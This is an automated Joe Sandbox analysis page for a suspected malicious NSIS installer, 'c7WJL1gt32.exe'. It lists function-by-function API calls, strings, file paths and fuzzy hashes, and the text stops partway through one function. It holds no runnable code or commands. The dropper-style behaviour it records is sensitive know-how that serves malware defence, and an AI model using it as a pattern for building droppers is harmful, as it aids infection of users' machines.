Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Iw\Bombestoppets$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\c7WJL1gt32.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-3704935325
Opcode ID: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(?,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,?,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(?,?,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,?,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,?), ref: 00404FFD
SetWindowLongW.USER32(?,?,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,?,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,?), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

, xrefs: 00405385
N, xrefs: 00405057
M, xrefs: 00404F76

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 6CF11B5F Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF1121B: GlobalAlloc.KERNEL32(?,?,6CF1123B,?,6CF112DF,00000019,6CF111BE,-000000A0), ref: 6CF11225

GlobalAlloc.KERNELBASE(?,00001CA4), ref: 6CF11C6B
lstrcpyW.KERNEL32(00000008,?), ref: 6CF11CB3
lstrcpyW.KERNEL32(00000808,?), ref: 6CF11CBD
GlobalFree.KERNEL32(00000000), ref: 6CF11CD0
GlobalFree.KERNEL32(?), ref: 6CF11DB2
GlobalFree.KERNEL32(?), ref: 6CF11DB7
GlobalFree.KERNEL32(?), ref: 6CF11DBC
GlobalFree.KERNEL32(00000000), ref: 6CF11FA6
lstrcpyW.KERNEL32(?,?), ref: 6CF12140
GetModuleHandleW.KERNEL32(00000008), ref: 6CF121B5
LoadLibraryW.KERNEL32(00000008), ref: 6CF121C6
GetProcAddress.KERNEL32(?,?), ref: 6CF12220
lstrlenW.KERNEL32(00000808), ref: 6CF1223A

Memory Dump Source

Source File: 00000000.00000002.2464950937.000000006CF11000.00000020.00000001.01000000.00000004.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.2464871451.000000006CF10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2464976083.000000006CF14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2465039264.000000006CF16000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_c7WJL1gt32.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: e5293229c9db1930f67d1765491f901286db23da085cb7576fc38b1ad73cc6f4
Instruction ID: 22ec104ad7a1ef543e94fe25ea3128ff7fe5bfa774b0148a99380d4653f0d6a6
Opcode Fuzzy Hash: e5293229c9db1930f67d1765491f901286db23da085cb7576fc38b1ad73cc6f4
Instruction Fuzzy Hash: E4227A72D5C246DFDB10CFA9C8846EEBBB0FB16319F20862ED165E3E80D77196858B50

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

0WB, xrefs: 00405B53
\*.*, xrefs: 00405B65
C:\Users\user\AppData\Local\Temp\, xrefs: 00405B08

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1057503074
Opcode ID: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406943 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ogram cannot be run in DOS mode.$, xrefs: 00406943

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: ogram cannot be run in DOS mode.$
API String ID: 0-3978178379
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,?,?,74DF2EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,?,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: (7B
API String ID: 3282139019-3251261122
Opcode ID: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,?,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\,74DF3420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403BD9
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(Call), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(?,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

.exe, xrefs: 00403BE6
RichEdit, xrefs: 00403D33
RichEdit20W, xrefs: 00403D24, 00403D2A
1033, xrefs: 00403AF8, 00403B54
RichEd32, xrefs: 00403D14
RichEd20, xrefs: 00403D06
.DEFAULT\Control Panel\International, xrefs: 00403B44
(7B, xrefs: 00403B04
Call, xrefs: 00403BA0, 00403BA9, 00403BB7, 00403C06, 00403C0C
_Nb, xrefs: 00403C5C, 00403CC4
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
C:\Users\user\AppData\Local\Temp\, xrefs: 00403AE4

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-2335571965
Opcode ID: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 00402F30 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\c7WJL1gt32.exe,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\c7WJL1gt32.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\c7WJL1gt32.exe,C:\Users\user\Desktop\c7WJL1gt32.exe,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNELBASE(?,0040A230), ref: 004030F0

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
C:\Users\user\Desktop, xrefs: 00402F8B, 00402F90, 00402F96
soft, xrefs: 00403020
C:\Users\user\Desktop\c7WJL1gt32.exe, xrefs: 00402F4A, 00402F59, 00402F6D, 00402F8A
Error launching installer, xrefs: 00402F80
Null, xrefs: 00403029
Inst, xrefs: 00403017
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
C:\Users\user\AppData\Local\Temp\, xrefs: 00402F3D, 00403108

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\c7WJL1gt32.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-541215006
Opcode ID: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(Call,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
Call, xrefs: 00406434, 0040650F, 00406516, 0040651A, 00406534, 00406535, 0040654A, 0040655D, 00406579, 004065A4, 004065D8, 004065DE, 004065FA, 0040660D, 0040662A, 00406630, 0040663C, 0040666F
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Iw\Bombestoppets,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Iw\Bombestoppets,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,?,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
